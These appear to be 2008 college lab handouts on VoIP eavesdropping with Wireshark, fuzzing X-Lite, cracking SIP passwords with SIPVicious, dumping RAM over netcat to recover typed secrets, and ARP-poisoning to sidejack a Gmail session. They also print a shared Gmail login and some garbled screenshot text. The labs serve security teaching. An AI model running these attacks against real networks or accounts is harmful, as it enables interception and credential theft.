21. On the next page, click "Download X-Lite 3.0 for Windows".

22. On the next page, click "Download Now".

23. Install the software with the default options. 

24. When you are prompted to, restart your computer.

25. In the "X-Lite Auto Update" box, click No.  Don't update to the newest version unless you have trouble with the older one.

26. [image: image180.jpg]Send Feedback

Direct connection to the Internet

Auto-detect proxy settings for this network

Manual proxy configuration:

HTTP Proxy: |192168.181 Port: [8080

Use this proxy server for ail protocols:



In the "Call Quality Information" box, click No.

27. In the "SIP Accounts" box, click the Add… button.

28. In the "Properties of Account1" box, enter these values, as shown to the right on this page:

· Display name: 
Your name
· User Name:
Your extension number

· Password:
Anything

· Domain:
The PBX IP you wrote in a box on the previous page of these instructions

29. In the "Properties of Account1" box, click the OK button. 

30. In the "SIP Accounts" box, click the Close button.
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The X-Lite client launches, as shown to the right on this page.  If you see a "Firewall" alert telling you that some features of the program have been blocked, click "Unblock".
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You should see a message in the top portion of the X-Lite panel saying "Ready Your Username is 100" (or some other extension number).  If you see an error message, some part of the configuration is wrong—try these troubleshooting ideas:

Troubleshooting

Turn off all firewalls

PING from one computer to another

In the 3CX server console, in the "Phone System" section, click on "Server Status" and you will see status messages that may serve to guide you

Use nmap from the client machines and do a port scan—you should find port 5060 open on the PBX server.

Capturing a Screen Image
33. Make sure the X-Lite panel is visible, showing "Ready Your Username is 100" (or some other extension number).  

34. Press the PrintScrn key in the upper-right portion of the keyboard.  

35. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

36. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 16a. 
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Calling from One Client to Another

37. On a client, click the green "Dial" button, on the left side (it looks like a telephone handset being lifted up).  Dial the extension number of another client, such as 101, and press the Enter key on the keyboard.

38. The other client should show a status of "Incoming Call".  On that client, click the green "Dial" button.  You should see a status of "Call established", as shown to the right on this page.

39. Click the red "Hang Up" button.

Adjusting the Codec (do this on all the client computers in your team)
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Wireshark can’t play back captured RTP streams unless they are encoded with a common codec.  By default, X-Lite uses a codec Wireshark can’t decode, so we will set it to use the plain, ordinary, G711 aLaw codec.

41. In the X-Lite panel, click the ▼ button, as shown to the right on this page.  In the context menu, click Options.

42. In the Options box, in the lower left corner, click Advanced.

43. Disable all codecs except G711 aLaw, as shown below on this page.  Click OK.
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Using Wireshark to Eavesdrop on a Call

44. It's best if you have a headset with a microphone for this section, although not necessary.

45. On a Client machine, start Wireshark capturing packets from the “Local Area Connection” interface.  If Wireshark is not already installed, download and install it. from wireshark.org.

46. Dial from that Client to another, just as you did before.

47. When you see the "Call Established" status, if you have a microphone, talk into it for a few seconds to make real RTP data.

48. Stop the packet capture.

49. [image: image186.jpg]Routerd Send Feedback (-2 | 1 [

Physical | Config | CLI

10S Command Line Interface
Copyright (c) 1586-2007 by Cisco Systems, Inc.
Compiled fled 18-Ju1-07 04:52 by pr_ceam

System Configuravion Dialog ——-

Continue with configuravion dialeg? [yes/nol: n

Press RETURN to get starved!

Roucersensble
Routerseontig ©

Znter configuration commands, one per line. End with CNTL/Z

Router (config) tensble passuord cisco

Router (config) tend

85YS-5-CONFIG_I: Configured from console by console

Routersdisable L
Router>ensble ‘,

Jr—
Rousert i




Look through the packet capture and find these packets, as shown to the right on this page:

· STP/SDP Request: INVITE sip 

· SIP Status 180 Ringing

50. The packets you saw above are SIP (Session Initiation Protocol) packets, which control the call.  The INVITE attempts to contact the other phone, and if it is available, it proceeds to RINGING.  

51. The actual voice data is not in the SIP packets, but in RTP (Real Time Protocol) packets.  Scroll down and you will see them, as shown to the right on this page.

52. To analyze the RTP packet stream, from the Wireshark menu bar, click Statistics, “VoIP Calls”.  You should see a "VoIP Calls" window showing one or more calls, as shown below on this page. 
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53. In the center pane of the "VoIP Calls" window, click a call to highlight it and then click the Player button.  In the “RTP Player” window, click the Decode button.
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You should see one or more sound streams, as shown to the right on this page.  The line shows the volume of the sound as a function of time.
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Capturing a Screen Image
55. Make sure the "VoIP – RTP Player" window is visible, showing a voice stream.

56. Press the PrintScrn key in the upper-right portion of the keyboard.  

57. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

58. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 16b. 

Playing the Captured Stream
59. In the "VoIP – RTP Player" window, click one of the captured streams, and click the Play button.  The stream should play through your headphones or speakers.

Turning in Your Project
60. Email the JPEG images to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 16 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.

Sources
http://sites.google.com/a/3cx.com/3cx-wiki/

http://wiki.wireshark.org/RTP_statistics


Last Modified: 12-18-08
What You Need for This Project
· A Windows machine with the X-Lite softphone from counterpath.com installed on it, as explained in project 16: Setting up a VoIP Network.  It can be a real or virtual machine., running Windows XP or Vista (probably other versions of Windows will work too).  The instructions below assume you are using a Vista computer in S214.

Background

Fuzzing is a very powerful technique for finding vulnerabilities in software.  Fuzzers send random data packets to an application, and monitor it to see if it crashes.  Each time it crashes, the fuzzer saves the data that caused the crash for later investigation—it may indicate a denial of service vulnerability, a buffer overflow, or some other important flaw.  Software designers should fuzz-test their products before marketing them, but there are no legal requirements to do so and may do not.

Motivation 
Jon Ellch and David Maynor hacked into a Mac using a buggy Wi-Fi driver in 2006 and made this famous video:

http://blog.washingtonpost.com/securityfix/2006/08/hijacking_a_macbook_in_60_seco.html

They found that exploit with fuzzing.

Installing Python

1. VoIPER is written in Python, which is included in Linux but not in Windows.  So you need to add Python to Windows.

2. Open a Web browser and go to python.org
3. On the left side of the page, click DOWNLOAD.

4. On the next page, click Python 2.4.5.

5. On the next page, click Python 2.4.4. 
6. On the next page, click Python 2.4.4.msi, as shown to the right on this page

7. Save the python-2.4.4.msi file on your desktop.  You can't run this file directly on Vista because it doesn't properly handle User Account Control, so you need to open an Administrator Command Prompt.

8. Click Start, type in CMD and press Shift+Ctrl+Enter.  In the "User Account Control" box, press Alt+C or click Continue.  An Administrator Command Prompt opens.

9. In the Administrator Command Prompt window, type this command, and then press the Enter key:

cd \users\Student\Desktop

Replace Student with your user name.
10. In the Administrator Command Prompt window, type this command, and then press the Enter key:

python-2.4.4.msi

11. Install the software with the default options.

Installing ctypes

12. The ctypes library allows Python scripts to create and mamipulatre C data types.  VoIPER requires it.

13. Open a Web browser and go to pypi.python.org/pypi/ctypes 
14. Click the blue link to the right of the words "Download URL:".

15. Click the ctypes-1.0.2.win32-py2.4.exe link, as shown below on this page.


16. Save the ctypes-1.0.2.win32-py2.4.exe file on your desktop.

17. On your desktop, double click the ctypes-1.0.2.win32-py2.4.exe file.  Install the software with the default options.  

18. If necessary, open an Administrator Command Prompt, by clicking Start, typing in CMD and pressing Shift+Ctrl+Enter.

19. In the Administrator Command Prompt window, type this command, and then press the Enter key:

cd \users\Student\Desktop

Replace Student with your user name.
20. In the Administrator Command Prompt window, type this command, and then press the Enter key:

ctypes-1.0.2.win32-py2.4.exe
21. Install the software with the default options.

Installing wxPython

22. wxPython is a GUI toolkit for Python, and it's required to run VoIPER.

23. Open a Web browser and go to wxpython.org
24. On the left side of the page, in the Download section, click the Binaries link. 

25. On the next page, click the Download link.

26. On the next page, in the "Python 2.4" section, click the win32-ansi  link, as shown to the right on this page.  

27. Save the wxPython2.8-win32-ansi-2.8.9.1-py24.exe file on your desktop.

28. On your desktop, double click the wxPython2.8-win32-ansi-2.8.9.1-py24.exe file.  Install the software with the default options.  

Installing VoIPER 

29. Open a Web browser and go to sourceforge.net/projects/voiper
30. Click the Download link.  On the next page, click the Download link.

31. On the next page, click the voiper-0.07.tar.gz link.  The .gz link usually indicates Linux software, but VoIPER is written in Python, so it runs on Windows as well as Linux.

32. Save the voiper-0.07.tar.gz file on your desktop.

33. To extract the file, you will need 7-zip.  If it's not already on your machine, download it from 7-zip.com and install it.

34. On your desktop, right click the voiper-0.07.tar.gz file and click 7-zip, "Extract Here".  A voiper-0.07.tar file appears on your desktop.

35. On your desktop, right click the voiper-0.07.tar file and click 7-zip, "Extract Here".  A trunk folder appears on your desktop.

Running win_process_monitor to Monitor the X-Lite.exe Process

36. There are two parts to VoIPER: the process Monitor and the fuzzer.  First we'll start the process monitor, which will detect when the fuzz crashes the application.

37. Click Start, type in CMD and press Shift+Ctrl+Enter.  In the "User Account Control" box, press Alt+C or click Continue.  An Administrator Command Prompt opens.

38. In the Administrator Command Prompt window, type this command, and then press the Enter key:

cd \users\Student\Desktop\trunk

Replace Student with your user name.
39. In the Administrator Command Prompt window, type this command, and then press the Enter key:

sulley\win_process_monitor.py –c sessions\X-Lite.crashbin 
–p X-Lite.exe 

Type the command all on one line, and let it wrap naturally, as shown below on this page.

40. You should see the "awaiting requests…" message, as shown below on this page.  

Finding Your IP Address

41. Click Start.  In the Search box, type CMD and press Enter.  

42. In the Command Prompt window, type IPCONFIG and press Enter.

43. Scroll back up past all the ridiculous false network adapters Vista pretends to have and find your real network adapter, and its IP address.  In S214, it should start with 192.168.1.  Write your IP address in the box to the right on this page.

Adjusting X-Lite to Register Elsewhere

44. If X-Lite is not open, double-click  the X-Lite icon on your desktop.

45. At the top left of the X-Lite window, click the ▼ symbol, and click "SIP Account Settings…", as shown to the right on this page.

46. In the "SIP Accounts" box, click the Properties button.

47. In the "Properties of Account1" box, in the Domain field, change the IP address to be one larger than your computer's IP address.  This will send the registration packets to a random machine, which won't recognize them.

48. In the "Properties of Account1" box, click OK.

49. In the "SIP Accounts" box, click Close.

50. The X-Lite panel should now show "Registration error: 408 – Request Timeout".  

Running fuzzer to Fuzz-test the X-Lite.exe Process

51. Click Start, type in CMD and press Shift+Ctrl+Enter.  In the "User Account Control" box, press Alt+C or click Continue.  An Administrator Command Prompt opens.

52. In the Administrator Command Prompt window, type this command, and then press the Enter key:

cd \users\Student\Desktop\trunk

Replace Student with your user name.

53. In the Administrator Command Prompt window, type this command, and then press the Enter key:

fuzzer.py -f SDPFuzzer -i 192.168.1.66 -p 5060 
-a sessions\XL1 -c 3 -r –R 0 -S C:\x.exe
Type the command all on one line, and let it wrap naturally, as shown below on this page.  Replace 192.168.1.66 with your machine's IIP address, and replace H: with your Vista system drive letter (usually C:).

Here's what the command-line switches mean:

-f SDPFuzzer
Use the SDPFuzzer technique

-i 192.168.1.66
The target is listening on this address

-p 5060
The target is listening on this port

-a sessions\XL1
The log file will be saved here (relative to trunk)

-c 3
Crash detection type 3 (process monitoring)
-r
Wait for registration before sending packets
-S C:\x.exe
The command line to restart the target process if it stops.  I found that X-Lite does not stop and restart properly, so I just put a dummy value here, pointing to a file that does not exist.  So if S-Lite crashes, we will only learn about the first packet that made it crash.

-R 0
Prevents the process from ever being restarted

54. You should see a "Waiting for register request" message, as shown above on this page.

Adjusting X-Lite to Register With the Fuzzer

55. At the top left of the X-Lite window, click the ▼ symbol, and click "SIP Account Settings…".

56. In the "SIP Accounts" box, click the Properties button.

57. In the "Properties of Account1" box, in the Domain field, change the IP address to your computer's IP address.  This will send the registration packets to the fuzzer.

58. In the "Properties of Account1" box, click OK.

59. In the "SIP Accounts" box, click Close.

60. When X-Lite sends registration packets, the fuzzer should detect them, and print a "Sending 200 OK Response" message, as shown below on this page.  Then messages about each fuzzing packet sent will scroll by rapidly-in the image below, it is sending packets.  Notice the message saying "xmitting: [1, 1]".  A series of them will scroll by, saying "xmitting: [1, 2]", "xmitting: [1, 3]", etc.  

Simulating a Crash 

· If you let the fuzzer go long enough, it will actually find a real vulnerability.  But it took about an hour when I did it.  If you don't want to wait that long, you can simulate a crash by just closing X-Lite this way:

· In the X-Lite panel, click the ▼ symbol, and click Exit.  Click OK.  X-Lite closes.

Viewing the Crash Log

61. On your desktop, double-click the trunk folder to open it. 

62. Double-click the sessions folder to open it.

63. Double-click the XL1 folder to open it.

64. Find a file with a Type of CRASHLOG and double-click  it.  Mine had a filename of 1_44.crashlog but your name might be different.

65. You should see a screen of text starting with INVITE, as shown to the right on this page.

Capturing a Screen Image
66. Make sure CRASHLOG file is visible, showing INVITE.
67. Press the PrintScrn key in the upper-right portion of the keyboard.  

68. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

69. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 17. 

Turning in Your Project
70. Email the JPEG image to me as an attachment to an e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 17 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.

Sources
http://blog.washingtonpost.com/securityfix/2006/08/hijacking_a_macbook_in_60_seco.html
http://www.unprotectedhex.com/voiper-wiki/index.php/VoIPER_Usage_Examples
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What You Need for This Project
· A Windows machine with Python on it, and the X-Lite softphone.  You created this machine in project 17: Fuzzing VOIP.  

· The PBX server you made in project 16 using the 3CX phone system

· A Trixbox CD or ISO

The instructions below assume you are using two Vista computers in S214.

Setting Up

1. Turn on the PBX server you set up on project 16: VoIP.  Just leave it running—this will be the Target Machine of the attacks from SIPVicious.

2. Turn on the machine you installed Python on in Project 17: Fuzzing X-Lite with VoIPER.  This machine will be the Attacker Machine. 

Downloading SIPVicious on the Attacker Machine
3. SIPVicious is a +hacking suite for VoIP, containing these four tools.

· svmap - this is a sip scanner. Lists SIP devices found on an IP range

· svwar - identifies active extensions on a PBX

· svcrack - an online password cracker for SIP PBX

· svreport - manages sessions and exports reports to various formats

4. On the Attacker Machine, open a Web browser and go to sipvicious.org
5. On the right side of the page, click "Download SIPVicious".

6. On the next page, click sipvicious-0.2.4.zip.

7. Save the sipvicious-0.2.4.zip file on your desktop.

8. On your desktop, double-click the sipvicious-0.2.4.zip file and click "Extract All…".  In the "Extract Compressed (Zipped) Folders" box, click Extract. 

9. A sipvicious-0.2.4 folder appears on your desktop.  

10. Double-click the sipvicious-0.2.4 folder to open it.  It contains a second folder, also named sipvicious-0.2.4.

Scanning for PBX Servers with svmap
11. On the Attacker Machine, hold down the Shift key and right click the sipvicious-0.2.4 folder.  On the context menu, click "Open Command Window Here".

12. In the Command Prompt window, type this command, and then press the Enter key:

svmap.py 192.168.1.1/24

That IP address range is correct for S214.  If you are working at home, your IP address range may be different.


13. You should see your 3CXPhoneSystem PBX server detected, as shown above on this page .

Enumerating SIP Extensions with svwar
14. On the Attacker Machine, in the Command Prompt window, type this command, and then press the Enter key:

svwar.py 192.168.1.10
Replace 192.168.1.10 with the IP address of your 3CXPhoneSystem PBX server, which you just found with svmap.

15. The response is an error message, saying "server replied with an authentication request", as shown above on this page .  It suggests using the --force option.

16. On the Attacker Machine, in the Command Prompt window, type this command, and then press the Enter key:

svwar.py 192.168.1.10 --force 
Replace 192.168.1.10 with the IP address of your 3CXPhoneSystem PBX server.

17. The response is still nothing but error messages—the PBX server is not vulnerable to this scanner.  It requires authentication, which makes sense.

Starting Trixbox-the VMware Asterix PBX Server
18. You can run Trixbox on any computer that has VMware.  It can be the Target Computer, the Attacker Computer, or any other computer on the same LAN.

19. You need the trixbox 2.0 VMware image.  I handed out CDs in class, but you can also download it from trixbox.org/trixbox-2-0-vmware-image-released
20. Copy the whole CD to the hard disk.  The filenames say "Red Hat", but it is really running on CentOS Linux.

21. Start VMware Player and open the Trixbox virtual machine.  

22. Log in as root with a password of trixbox (please note that the instructions on the download page give you the wrong password).

23. You should see the message "Welcome to trixbox CE", as shown to the right on this page, along with a URL to use to manage trixbox.

24. On the host Windows desktop, open a Web browser and go to the URL shown in the trixbox welcome message.
25. At the main trixbox management page, click FOP.  

26. The FOP page opens, as shown to the right on this page, showing several extensions that are already programmed into trixbox.

Scanning for PBX Servers with svmap
27. On the Attacker Machine, hold down the Shift key and right click the sipvicious-0.2.4 folder.  On the context menu, click "Open Command Window Here".

28. In the Command Prompt window, type this command, and then press the Enter key:

svmap.py 192.168.1.1/24

That IP address range is correct for S214.  If you are working at home, your IP address range may be different.



29. You should see both your 3CXPhoneSystem and Asterisk PBX servers detected, as shown above on this page.  When I did it, I had to restart the Target Computer to make the 3CXPhoneSystem visible.

Capturing a Screen Image
30. Make sure both your 3CXPhoneSystem and Asterisk PBX servers are visible. as shown above on this page .
31. Press the PrintScrn key in the upper-right portion of the keyboard.  

32. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

33. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 18a. 

Enumerating SIP Extensions with svwar
34. On the Attacker Machine, in the Command Prompt window, type this command, and then press the Enter key:

svwar.py 192.168.1.65
Replace 192.168.1.65 with the IP address of your Asterisk PBX server, which you just found with svmap.


35. You should see several extensions located, from 200 through 204, as shown above on this page.

Cracking SIP Passwords with svcrack
36. On the Attacker Machine, in the Command Prompt window, type this command, and then press the Enter key:

svcrack.py 192.168.1.65 –u 200
Replace 192.168.1.65 with the IP address of your Asterisk PBX server.


37. The crack should work, finding the password for extension 200, which is 200, as shown above on this page.

38. To see how the attack works, repeat it with higher verbosity.  On the Attacker Machine, in the Command Prompt window, type this command, and then press the Enter key:

svcrack.py 192.168.1.65 –u 200 -vv
Replace 192.168.1.65 with the IP address of your Asterisk PBX server.

39. You can now see how the cracker works—it just tries three-digit number combinations in order until ir finds the password, as shown to the right on this page.  The cracker can also use a dictionary of passwords, but this simple attack is good enough for the demonstration accounts on your Asterisk PBX server.

Connecting to the Asterisk PBS With Stolen Credentials
40. On the Attacker Machine, if X‑Lite is not running, double-click  the X-Lite icon on your desktop to start it. 

41. At the top left of the X-Lite window, click the ▼ symbol, and click "SIP Account Settings…", as shown to the right on this page.

42. In the "SIP Accounts" box, click the Properties button.

43. In the "Properties of Account1" box, change the User name and Password to 200
44. In the "Properties of Account1" box, in the Domain field, change the IP address to the IP address of your Asterisk PBX server.

45. In the "Properties of Account1" box, click OK.

46. In the "SIP Accounts" box, click Close.

47. The X-Lite panel should now show "Ready Your username is: 200", as shown to the right on this page.  


Capturing a Screen Image
48. Make sure the "Ready Your username is: 200" message is visible, as shown to the right on this page .
49. Press the PrintScrn key in the upper-right portion of the keyboard.  

50. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

51. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 18b. 

Turning in Your Project
52. Email the JPEG image to me as an attachment to an e-mail message.  Send it to:  cnit.124@gmail.com with a subject line of Proj 18 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.

Sources
http://forums.remote-exploit.org/showthread.php?t=12878'

http://sipvicious.org/webcasts/sipvicious-0.2-intro/web.html


Last Modified: 10-26-08

What You Need for This Project
· A Windows 2000 virtual machine – this will be the Target Machine.  In the instructions below, I assume you are using one of the Vista machines in S214 with VMware Player.

· The Helix CD ISO image or bootable CD (I will have CDs in class, but you can download it yourself from e-fense.com/helix/Download.html
· A real machine with 1 GB or more of RAM – this will be the Gathering Machine.  In the instructions below, I assume you are using one of the machines in S214.

· A Linux CD to boot the Gathering Machine from.  In the instructions below, I assume you are using a Backtrack 2 CD.

Starting the Target Machine

1. Start VMware Player and open your virtual machine. 

Setting RAM to 256 MB

2. From the VMware Player menu bar, click "VMware Player", Troubleshoot, "Change Memory Allocation".

3. The memory should be set to 256 MB, as shown to the right on this page.  If it is set to a higher amount, adjust it to 256 MB  This is not strictly necessary, but it makes the project go faster if there is less RAM to image.

4. If you changed the RAM allocation, restart the virtual machine.

Checking the Virtual CD
5. Insert the Helix CD into the CD drive.

6. On the Windows Target Machine desktop, double-click My Computer.  Double-click the CD-ROM icon to open it.

7. You should see a screen with WARNING in big red letters.  That shows that the CD is being read correctly.  Close the HELIX window.

Creating Data to Capture
8. In the Windows Target Machine, open Notepad and type in your this phrase, as shown to the right on this page:

The secret word is swordfish 

9. Save the file on your desktop as secret.txt.

10. Close Notepad.

11. In the Windows Target Machine, open Internet Explorer and go to this Web address:

tinyurl/fakelogin

12. Type in your name for the Username, and type a password of rattlesnake.  Click the "Submit Query" button.  If Internet Explorer asks whether it should remember the password, click No.

13. You should get a message saying Login Approved.

Starting the Gathering Machine

14. Boot a machine from the Backtrack 2 CD.  Log in as root with a password of toor.  Enter the startx command to start the graphical environment.

15. Click the Terminal icon on the lower left of the desktop (to the right of the K icon).

16. At the # prompt, type this command and then press the Enter key:

ifconfig 

17. Write your Gathering Machine's IP address in the box to the right on this page.

18. At the # prompt, type this command and then press the Enter key:

nc –l –p 8888 > mem.img

Note that the first switch is a lowercase L, not the numeral 1.  This command starts a netcat listener, putting all the data it gets into a file in RAM called mem.img. 

Launching the Helix Live Tools
19. On the Windows Target Machine desktop, double-click My Computer.  Double-click the CD-ROM icon to open it.  From the menu bar, click View, Details.

20. A screen appears with WARNING in big red letters.  Click Accept.

21. The main Helix Tools window appears, as shown below on this page/  Click the camera icon which appears second from the top on the left.  This will "Acquire a "live" image…"


22. Accept the default Source of "\\.\PhysicalMemory - [256 MB]".

23. In the "Location Options" section, click NetCat.

24. In the "Destination IP" field, enter the Gathering Machine IP you wrote in the box on a previous page.

25. Your "Live Acquisition" screen should look like the example shown to the right on this page.

Capturing a Screen Image
26. Make sure the "Live Acquisition" screen is visible.

27. Press the PrintScrn key in the upper-right portion of the keyboard.  

28. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

29. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 19a. 

Acquiring Data
30. In the "Live Acquisition" screen , click the Acquire button.  In the Notice box, click Yes.

31. A Command Prompt window opens, with the message "Copying physical memory…", as shown to the right on this page.

32. When the process completes, this box will close, and the netcat session will close on the Gathering Machine.  You can tell the session has closed because it will show a new # prompr.

Viewing the Captured Data
33. On the Gathering Machine, at the # prompt, type this command and then press the Enter key:

ls -l

Note that the switch is a lowercase L, not the numeral 1.  

34. You should see a file named mem.img which is approximately 256 million bytes in size, as shown below on this page.

35. At the # prompt, type this command and then press the Enter key:

strings mem.img | grep '^[a-zA-Z 0-9,.!@#$%^&*()]\+$' > keywords.txt

Note that the | character is typed with Shift+\.  This command picks the words out of the memory dump, and puts them in a file named keywords.txt
36. At the # prompt, type this command and then press the Enter key:

sort keywords.txt | uniq > dictionary.txt
This command sorts the keywords, removes duplicates, and puts them into a file named dictionary.txt
37. At the # prompt, type this command and then press the Enter key:

kwrite dictionary.txt
38. The dictionary opens in a text editor. 

39. Press Ctrl+f and search for "swordfish".  You should find it, as shown to the right on this page. 

Capturing a Screen Image
40. Make sure the dictionary.txt window shows the text you captured from notepad is visible.

41. Click the K button in the lower left corner of the desktop, and click Screenshot.  

42. In the Screenshot box, click the "Save As…" button.  Give your file a name of Your Name Proj 19b.jpg and save it in the default location, which is /root/. 

43. On the lower left of your desktop, click the Firefox button, as shown to the right on this page.

44. Email the image to yourself as an email attachment.

Viewing More Captured Data
45. Press Ctrl+f and search for "rattlesnake".  You should find it, as shown to the right on this page. 
Turning in Your Project
46. Email the JPEG images to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 19 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.

Sources
I got this project from Craig Newman in his Computer Forensics class.

Last Modified: 10-27-08
What You Need for This Project
· A computer running any version of Windows to be the Attacker.  It can be a real or virtual machine.

· A second physical computer, connected to the Attacker by a switch, not a hub.  In S214, I recommend that you use a different workstation booted to Vista for this role.   However, the Target can run any operating system at all, Windows, Mac, Linux, Unix, whatever.  It can be a real or virtual machine.

· Do the "SideJacking Gmail Accounts" project first, so you have Nmap, and Hamster, Ferret installed on your Attacker machine.

Starting the Attacker Machine
1. If you are working in S214, boot your PC to Vista and log in as Student.  This will be your Attacker machine.  

Starting the Target Machine
2. Start a second physical computer in S214 and boot to Vista.  That will be your Target machine.  

3. Open a browser on your Target machine and make sure you can connect to the Internet.

Finding the Target Machine's IP Address
4. On your Target machine, click Start, Run.  Type in CMD and press the Enter key.

5. In the Command Prompt window, type in IPCONFIG and press the Enter key.  Find your IP address and write it in the box to the right on this page.  In S214, your IP address will start with 192.168.1.

Running the Ferret Cookie Sniffer on the Attacker Machine
6. On the Vista Attacker machine's desktop, hold down the Shift key and right-click the Sidejacking folder.  In the context menu, click "Open Command Window Here". 

7. In the Command Prompt window, type the following command, then press the Enter key:

ferret –i 0 

8. Open Firefox and go to www.ccsf.edu.  You should see a message saying 'Traffic seen proto="HTTP", op="GET", Host="www.ccsf.edu", URL="/"'.

Running the Hamster Proxy Server on the Attacker Machine
9. On the Vista Attacker machine's desktop, double-click Sidejacking folder to open it.

10. In the Sidejacking widow, double-click hamster.exe/

11. If a "Windows Security Alert" box pops up, saying "Windows Firewall has blocked some features of this program", click Unblock. In the "User Account Control" box, press Alt+C or click Continue.

12. A Command Prompt window opens, showing the message "HAMPSTER side-jacking tool". 
Configuring Firefox to Use the Proxy Server on the Attacker Machine
13. Warning: the Hamster documentation says it will screw up the cookies in your browser.  I didn't see any problem when I did it, however.  You may want to create a different Firefox profile just for this project, however.  I didn't bother.

14. On the Vista Attacker machine, from the Firefox window's menu bar, click Tools, Options.

15. In the Options box, click the Advanced button.  Click the Network tab.

16. In the Connection section, click the Settings button.

17. In the "Connection Settings" box, click the "Manual proxy configuration" radio button.  Enter an HTTP Proxy: of 127.0.0.1 and a Port of 3128.

18. In the "Connection Settings" box, click OK.

19. In the Options box, click OK.

Using the Hamster Web Interface on the Attacker Machine
20. On the Vista Attacker machine, in the Firefox address bar, type in http://hamster and press the Enter key.

21. The HAMSTER 1.0 Side-Jacking page should open, as shown to the right on this page.

22. But there's a problem!  The   Target IP address is not there.  That's because the switch is not sending any packets from the Target to the Attacker. 
Installing Cain on the Attacker Machine
23. On the Vista Attacker machine , open a Web browser.  Go to http://www.oxid.it/cain.html
24. Click the " Download Cain & Abel v4.9.10 for Windows NT/2000/XP" link.  Install the software.  When it asks about installing WinPcap, click "Don't Install" – you already have WinPCap.  

Turning off the Firewall on the Attacker Machine
25. Click Start, "Control Panel".  If necessary, click "Classic View".  Double-click "Windows Firewall".

26. In the "Windows Firewall" box, click "Turn Windows Firewall on or off".  In the "User Account Control" box, press Alt+C or click Continue.

27. In the "Windows Firewall Settings" box, click the "Off (not recommended)" radio button.  Click OK.

Sniffing for Targets
28. Click Start, "All Programs", Cain.  Point to Cain, right-click, and click "Run as Administrator".  In the "User Account Control" box, press Alt+A or click Allow.

29. In the Cain window, from the top menu, click Configure.

30. In the “Configuration Dialog” box, on the Sniffer tab, verify that the interface with the IP address that goes to the Internet is highlighted.  

31. In the “Configuration Dialog” box, on the APR tab, click the “Use ARP Request Packets (More Network Traffic)” radio button at the bottom, as shown to the right on this page.  Click OK.

32. In the upper left of the Cain window, click the “Start/Stop Sniffer” button (the second button from the left), and the “Start/Stop APR” button (third from the left) so they are both depressed, as shown to the right on this page. 
33. If a "Windows Security Alert" box pops up, saying "Windows Firewall has blocked some features of this program", click Unblock. 

34. At the top of the screen, click the Sniffer tab.  On the toolbar, click the+ icon.  

35. In the “Mac Address Scanner” box, check the “All Tests” box.  Click OK.  Wait while several progress bars move across the screen.

36. Click the APR tab at the bottom.  Click in the empty upper right hand table.  Click the + icon on the toolbar.

Starting the ARP Poison Routing
37. In the “New APR poison Routing” box, click the gateway IP in the left pane.  Then click the Target IP in the right pane, as shown to the right on this page.  Click OK. 
38. Wait 30 seconds.  You should see a Status of Poisoning, as shown below on this page.  If you see a status of "Idle", toggle the the “Start/Stop Sniffer” button and the “Start/Stop APR” buttons, leaving them both depressed.


Capturing a Screen Image
39. Press the PrintScrn key in the upper-right portion of the keyboard.  

40. Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

41. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj X1a.  

Opening Gmail on the Target Machine
42.  On the Target machine, in the Firefox window, go to gmail.com
43. Log in with a Gmail account.  If you don't want to use your own account, use this one: User name S214Target password hackmenow
44. On the Vista Attacker machine, in the Firefox window, click the Refresh button.  

45. On the right side, you should now see the Target IP address.  Click it.

46. In the left pane, click the http://mail.google.com/mail link.

47. On the Vista Attacker machine, in the Firefox window, a Gmail page opens, as shown to the right on this page.  


Capturing a Screen Image
48. Make sure both the Hamster and Gmail tabs are visible on the screen.

49. Press the PrintScrn key in the upper-right portion of the keyboard.  

50. Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

51. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj X1b. 

Turning in Your Project
52. Email the JPEG image to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj X1 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.

Returning Firefox to Normal Function
53. On the Vista Attacker machine, from the Firefox window's menu bar, click Tools, Options.

54. In the Options box, click the Advanced button.  Click the Network tab.

55. In the Connection section, click the Settings button.

56. In the "Connection Settings" box, click the "Direct connection to the Internet" radio button.  

57. In the "Connection Settings" box, click OK.

58. In the Options box, click OK.
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What You Will Need
· An Attacker Machine, real or virtual, booted from a Backtrack 2 CD or ISO (BackTrack 3 Beta did not work when I tried it in May, 2008.)
· A Target Machine running Windows 2000 (real or virtual)
Getting the BackTrack 2 CD 

1. You need a BackTrack 2 CD.  Your instructor handed them out in class.  If you don't have one, download it from

http://www.remote-exploit.org/backtrack.html
Starting the Target Machine 

2. Start the Windows 2000 target machine.  Make sure it is connected to the Internet.  Click Start, Run, and type in CMD.  Press the Enter key.  In the Command Prompt window, enter the IPCONFIG command.  Find your IP address and write it in the box to the right on this page.

Booting the Computer from the BackTrack 2 CD 
